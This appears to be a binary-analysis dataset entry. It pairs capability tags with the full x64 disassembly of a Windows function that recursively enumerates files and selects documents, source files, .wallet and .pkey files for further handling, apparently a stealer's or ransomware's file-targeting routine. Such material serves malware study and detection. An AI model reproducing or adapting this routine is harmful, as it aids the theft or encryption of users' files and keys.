Function at 0x14003e290
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x7a0]
sub rsp, 0x8a0
mov rsi, rdx
mov rbx, rcx
mov r8, rcx
lea rdx, str._s
lea rcx, [rbp + 0x590]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rdx, [rsp + 0x20]
lea rcx, [rbp + 0x590]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x14003e4a0
test byte [rsp + 0x20], 0x10
jne 0x14003e4b3
test byte [rsp + 0x20], 2
jne 0x14003e4b3
mov eax, dword [rsp + 0x40]
mov dword [rbp + 0x7d0], eax
mov eax, dword [rsp + 0x3c]
mov dword [rbp + 0x7d4], eax
cmp qword [rbp + 0x7d0], 0x1f40
jge 0x14003e481
lea r9, [rsp + 0x4c]
lea rdx, [0x140058dd8]
lea rcx, [rbp + 0x380]
mov r8, rbx
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rbp + 0x380]
call qword [sym.imp.SHLWAPI.dll_PathFindExtensionW]
lea rdx, str..txt
mov rcx, rax
mov rbx, rax
call qword [sym.imp.SHLWAPI.dll_StrCmpIW]
test eax, eax
je 0x14003e46b
lea rdx, str..jpg
mov rcx, rbx
call qword [sym.imp.SHLWAPI.dll_StrCmpIW]
test eax, eax
je 0x14003e46b
lea rdx, str..pdf
mov rcx, rbx
call qword [sym.imp.SHLWAPI.dll_StrCmpIW]
test eax, eax
je 0x14003e46b
lea rdx, str..docx
mov rcx, rbx
call qword [sym.imp.SHLWAPI.dll_StrCmpIW]
test eax, eax
je 0x14003e46b
lea rdx, str..csv
mov rcx, rbx
call qword [sym.imp.SHLWAPI.dll_StrCmpIW]
test eax, eax
je 0x14003e46b
lea rdx, str..sql
mov rcx, rbx
call qword [sym.imp.SHLWAPI.dll_StrCmpIW]
test eax, eax
je 0x14003e46b
lea rdx, [0x140058e48]
mov rcx, rbx
call qword [sym.imp.SHLWAPI.dll_StrCmpIW]
test eax, eax
je 0x14003e46b
lea rdx, [0x140058e50]
mov rcx, rbx
call qword [sym.imp.SHLWAPI.dll_StrCmpIW]
test eax, eax
je 0x14003e46b
lea rdx, str..cpp
mov rcx, rbx
call qword [sym.imp.SHLWAPI.dll_StrCmpIW]
test eax, eax
je 0x14003e46b
lea rdx, [0x140058e64]
mov rcx, rbx
call qword [sym.imp.SHLWAPI.dll_StrCmpIW]
test eax, eax
je 0x14003e46b
lea rdx, str..dat
mov rcx, rbx
call qword [sym.imp.SHLWAPI.dll_StrCmpIW]
test eax, eax
je 0x14003e46b
lea rdx, str..wallet
mov rcx, rbx
call qword [sym.imp.SHLWAPI.dll_StrCmpIW]
test eax, eax
je 0x14003e46b
lea rdx, str..pkey
mov rcx, rbx
call qword [sym.imp.SHLWAPI.dll_StrCmpIW]
test eax, eax
jne 0x14003e47a
lea rcx, [rbp + 0x380]
mov rdx, rsi
call fcn.14003e548
mov rbx, qword [rbp + 0x7c0]
lea rdx, [rsp + 0x20]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x14003e2e8
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindClose]
mov rbx, qword [rsp + 0x8c8]
add rsp, 0x8a0
pop rdi
pop rsi
pop rbp
ret
movzx ecx, word [rsp + 0x4c]
movzx eax, word [rsp + 0x4e]
cmp cx, word [0x140056ca4]
jne 0x14003e4cf
cmp ax, word [0x140056ca6]
je 0x14003e481
cmp cx, word [0x140058e9c]
jne 0x14003e4ef
cmp ax, word [0x140058e9e]
jne 0x14003e4ef
movzx eax, word [rsp + 0x50]
cmp ax, word [0x140058ea0]
je 0x14003e481
lea rcx, [rsp + 0x4c]
call fcn.14003e5b0
test al, al
jne 0x14003e481
lea r9, [rsp + 0x4c]
lea rdx, str._s_s
lea rcx, [rbp + 0x170]
mov r8, rbx
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rbp + 0x170]
call fcn.14003e658
test al, al
je 0x14003e481
lea rcx, [rbp + 0x170]
mov rdx, rsi
call fcn.14003e290
jmp 0x14003e481